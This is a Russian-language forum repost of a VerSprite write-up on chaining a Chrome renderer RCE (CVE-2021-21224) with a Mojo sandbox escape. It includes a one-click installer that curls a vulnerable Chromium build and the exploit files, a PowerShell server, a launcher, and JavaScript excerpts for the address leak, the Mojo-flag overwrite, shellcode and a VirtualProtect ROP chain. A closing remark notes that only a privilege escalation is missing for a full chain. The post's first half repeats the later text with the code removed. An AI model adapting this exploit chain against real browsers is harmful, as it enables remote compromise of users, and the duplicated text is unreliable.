D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Чтобы научить свою команду эксплуатации Chrome, я выбрал предыдущий 0day RCE, который нашел в прошлом году для своей компании VerSprite: CVE-2021-21224 https://crbug.com/1195777 , и соединил его с SBX. ошибка найдена Тимом Беккером: https://crbug.com/1062091 .
Чтобы упростить обучение эксплойтам, я сократил их настолько, насколько мог. RCE имеет 40 строчек кода, а SBX — 80 строк.
https://raw.githubusercontent.com/VerSprite/research/master/exploits /VS-2021-001/installer.bat
Вот и все. Простой двойной щелчок/запуск installer.bat приведет к использованию Chrome эксплойта RCE+SBX , и в качестве доказательства вы увидите файл Calc.exe.
Выбранный вариант должен быть таким Win10 x64 и пароль по умолчанию — Passw0rd!
Затем загрузите эксплойты RCE и SBX с гита VerSprite и необходимые файлы mojo:
Примечание. Если вы хотите проверить целостность файлов mojo (а именно: mojo_bindings.jsinstalled_app_provider.mojom.js blob_registry.mojom.js url.mojom.js), их можно найти в каталоге «gen» после распаковки файла Chromium_ASAN с официального сайта Google:
https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64%2Fasan-win32-release_x64-736938.zip? поколение=1580409414119195&alt=медиа
Примечание . В качестве http-сервера я выбрал PowerShell, поэтому нам не нужно ничего компилировать/устанавливать, поскольку PowerShell уже включен в Windows.
Вы можете просто использовать «installer.bat», и он запустит RCE+SBX, и калькулятор станет видимым. Цепочка эксплойтов надежна, но не на 100%, поэтому вам может потребоваться запустить launcher.bat дважды.
При этом выполняется ограниченная запись в указатель резервного хранилища, чтобы выполнить произвольную запись в флаг включения Mojo, поскольку Mojo требуется для SBX эксплойта:
Сохраните базовый адрес модуля chrome.dll, чтобы он мог быть прочитан SBX эксплойтом:
Восстановите некоторые поврежденные значения, чтобы предотвратить сбой при сборке мусора:
Запустите SBX эксплойт:
Чтобы использовать модифицированный мной шеллкод Раджвардхана Агарвала для запуска калькулятора
Чтобы использовать VirtualProtect ROPchain для того, чтобы сделать стек исполняемым:
Источник: https://versprite.com/blog/chrome-exploitation-launch-a-chrome-rce-sbx-exploit/
p.s. это хороший пример хром эксплойта, практически фулл чейн, не хватает только LPE.
RCE + SBX + LPE.
Чтобы упростить обучение эксплойтам, я сократил их настолько, насколько мог. RCE имеет 40 строчек кода, а SBX — 80 строк.
Репликация:
Простое использование installer.bat приведет к установке уязвимой версии Chromium, автоматически взломает ее и запустит калькулятор в качестве доказательства успешной эксплуатации:https://raw.githubusercontent.com/VerSprite/research/master/exploits /VS-2021-001/installer.bat
Вот и все. Простой двойной щелчок/запуск installer.bat приведет к использованию Chrome эксплойта RCE+SBX , и в качестве доказательства вы увидите файл Calc.exe.
Среда:
Эти скрипты отлично работают в Windows 10 x64 и Windows 11 x64, и больше ничего устанавливать не нужно. Если вам нужна виртуальная машина, вы можете получить готовую к использованию виртуальную машину на официальном сайте Microsoft: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/Выбранный вариант должен быть таким Win10 x64 и пароль по умолчанию — Passw0rd!
Информация об установщике :
Загружаем Chromium с официального сайта Google:curl -o chrome.zip "https://www.googleapis.com/download/storage/v1/b/chromium-browser-snapshots/o/Win_x64%/737173%/chrome-win.zip?generation=1580439619624464&alt=media"
Нажмите, чтобы раскрыть...
Чтобы распаковать пакет :
tar -xvf chrome.zip
Нажмите, чтобы раскрыть...
Затем загрузите эксплойты RCE и SBX с гита VerSprite и необходимые файлы mojo:
for %%z in (rce.html sbx.html launcher.bat mojo_bindings.js installed_app_provider.mojom.js blob_registry.mojom.js url.mojom.js) do curl --remote-name https://raw.githubusercontent.com/VerSprite/research/master/exploits/VS-2021-001/%%z
Нажмите, чтобы раскрыть...
Примечание. Если вы хотите проверить целостность файлов mojo (а именно: mojo_bindings.jsinstalled_app_provider.mojom.js blob_registry.mojom.js url.mojom.js), их можно найти в каталоге «gen» после распаковки файла Chromium_ASAN с официального сайта Google:
https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64%2Fasan-win32-release_x64-736938.zip? поколение=1580409414119195&alt=медиа
По завершении установки начнется запуск следующего скрипта:
launcher.bat
Нажмите, чтобы раскрыть...
Информация о лаунчере:
При этом запускается браузер и открывается веб-сайт, содержащий RCE:start /b chrome-win\chrome.exe http://127.0.0.1:8000/rce.html
Нажмите, чтобы раскрыть...
Запустите минимальный http-сервер :
powershell -command "$h = New-Object System.Net.HttpListener; $h.Prefixes.Add('http://127.0.0.1:8000/'); $h.Start(); while ($true){$c = $h.GetContext(); $z = Join-Path -Path $PWD.Path -ChildPath $c.Request.RawUrl.split('/')[-1]; $f = 'j'; if ([IO.File]::Exists($z)){$f = (Get-Content -Path ($z) -Raw);} $b = [System.Text.Encoding]::UTF8.GetBytes($f); $c.Response.OutputStream.WriteAsync($b, 0, ($c.Response.ContentLength64 = $b.Length))}"
Нажмите, чтобы раскрыть...
Примечание . В качестве http-сервера я выбрал PowerShell, поэтому нам не нужно ничего компилировать/устанавливать, поскольку PowerShell уже включен в Windows.
Вы можете просто использовать «installer.bat», и он запустит RCE+SBX, и калькулятор станет видимым. Цепочка эксплойтов надежна, но не на 100%, поэтому вам может потребоваться запустить launcher.bat дважды.
Информация об RCE эксплойте:
Чтобы найти базовый адрес модуля chrome.dll:chrome_dll = d.getUint32(0, true) + 2**32*d.getUint32(4, true) - 0x7573E88
Нажмите, чтобы раскрыть...
При этом выполняется ограниченная запись в указатель резервного хранилища, чтобы выполнить произвольную запись в флаг включения Mojo, поскольку Mojo требуется для SBX эксплойта:
write8(addrof(m) + 0x1cn, BigInt(chrome_dll) + 0x7627657n)//mojoenable
d.setUint32(0, 0x1111111111, true)
Нажмите, чтобы раскрыть...
Сохраните базовый адрес модуля chrome.dll, чтобы он мог быть прочитан SBX эксплойтом:
localStorage.setItem('chrome_dll', chrome_dll)
Нажмите, чтобы раскрыть...
Восстановите некоторые поврежденные значения, чтобы предотвратить сбой при сборке мусора:
b[1][10] = b_1_10
b[0] = 0
a1 = 0
Нажмите, чтобы раскрыть...
Запустите SBX эксплойт:
location = 'sbx.html'
Нажмите, чтобы раскрыть...
Информация об эксплойте SBX :
Чтобы загрузить базовый адрес модуля chrome.dll, полученный ранее с помощью RCE эксплойта:let chrome_dll = BigInt(localStorage.getItem('chrome_dll'))
Нажмите, чтобы раскрыть...
Чтобы использовать модифицированный мной шеллкод Раджвардхана Агарвала для запуска калькулятора
let sh = [0x00c0e8f0e48348fcn, …..
Нажмите, чтобы раскрыть...
Чтобы использовать VirtualProtect ROPchain для того, чтобы сделать стек исполняемым:
set(7, 0x633443fn /*VirtualProtect*/)
Нажмите, чтобы раскрыть...
Источник: https://versprite.com/blog/chrome-exploitation-launch-a-chrome-rce-sbx-exploit/
p.s. это хороший пример хром эксплойта, практически фулл чейн, не хватает только LPE.
RCE + SBX + LPE.